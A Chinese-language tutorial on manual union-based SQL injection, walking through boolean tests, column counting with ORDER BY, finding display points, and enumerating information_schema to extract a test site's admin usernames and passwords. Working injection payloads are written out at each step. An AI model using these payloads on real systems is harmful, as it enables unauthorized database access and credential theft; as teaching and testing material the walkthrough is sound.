sql注入是指web應用程序對用戶輸入數據的合法性沒有判斷,導致攻擊者可以構造不同的sql語句來實現對數據庫的操作。
sql注入漏洞產生滿足條件:
1;用戶能夠控制數據的輸入。
2;原本需要執行的代碼,拼接了用戶的輸入。
舉例:
攻擊流程:
1;判斷是否存在sql注入漏洞。
2;判斷網頁存在字段數。
3;判斷回顯點。
4;獲取信息。
測試開始:
測試目標獲取管理員賬號密碼
一;判斷是否存在sql注入漏洞。
1.1;構建sql語句:?id=1 and 1=2 查看頁面是否正常。結果頁面顯示不正常。
注釋:因為id=1為真(可正常訪問頁面),且1=2為假,所以and條件永遠不會成立。對于web應用不會返回結果給用戶。則攻擊者能看到的是一個錯誤的界面或者頁面結果為空。當然,如果攻擊者構造的請求異常,也會導致頁面訪問不正常。
1.2;構建新的sql語句,確定是否存在語句邏輯錯誤導致頁面不正常。?id=1 and 1=1 結果頁面正常,初步判斷存在sql漏洞。
注釋:1=1 為真,and條件語句成立。
二;判斷字段數:
2.1;構建sql語句:?id=1 and 1=1 order by 1 判斷網頁是否正常。?id=1 and 1=1 order by 2 判斷網頁是否正常。?id=1 and 1=1 order by 3 判斷網頁是否正常。結果:?id=1 and 1=1 order by 3 網頁顯示不正常,可以判斷字段數為2
注釋:order by 語句用來根據指定的列對結果集進行排序。詳細請參考網址:http://www.w3school.com.cn/sql/sql_orderby.asp “order by 1”表示對第一欄位進行排序,
三;判斷回顯點:構建sql語句:?id=1 and 1=2 union select 1,2 (之后的查詢結果將顯示在下圖紅框位置)
注釋:union 操作符用于合并兩個或多個select語句的結果集,union內部的select語句必須擁有相同數量的列。詳細參考:http://www.w3school.com.cn/sql/sql_union.asp
四; 獲取信息
4.1;查看當前數據庫名以及數據庫版本。構建sql語句:?id=1 and 1=2 union select 1,database();?id=1 and 1=2 unio select 1, version()
注釋:union select 1 ,database(),其中數字1占一列,湊數,用來滿足union定義。database():表示網站使用的數據庫,version():表示當前mysql的版本,usr():當前mysql的用戶。
4.2;查詢當前數據庫以及表名稱。構建sql語句:?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
注釋:information_schema數據庫用于存儲數據庫元數據,例如:數據庫名,表名,列的數據類型,訪問權限等。tables用來存儲數據庫中的表的信息,包括表屬于哪個數據庫,表的類型,存儲引擎,創建時間等。table_schema和table_schema是表tables中的數據庫庫名和表名。limit 0,1 表示第一行顯示一行數據。limit 1,1表示第二行顯示一行數據。
4.3;查詢表admin中的字段名。查詢三個字段:ID username? password
構建SQL語句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
構建SQL語句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1
構建SQL語句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1
注釋:columns表存儲表中的列的信息。其中包含數據庫庫名table_schema,表名table_name ,字段名column_name。
4.4;查詢用戶名稱:?id=1 and 1=2 union select 1,username from admin
4.5;查詢密碼:?id=1 and 1=2 union select 1,password from admin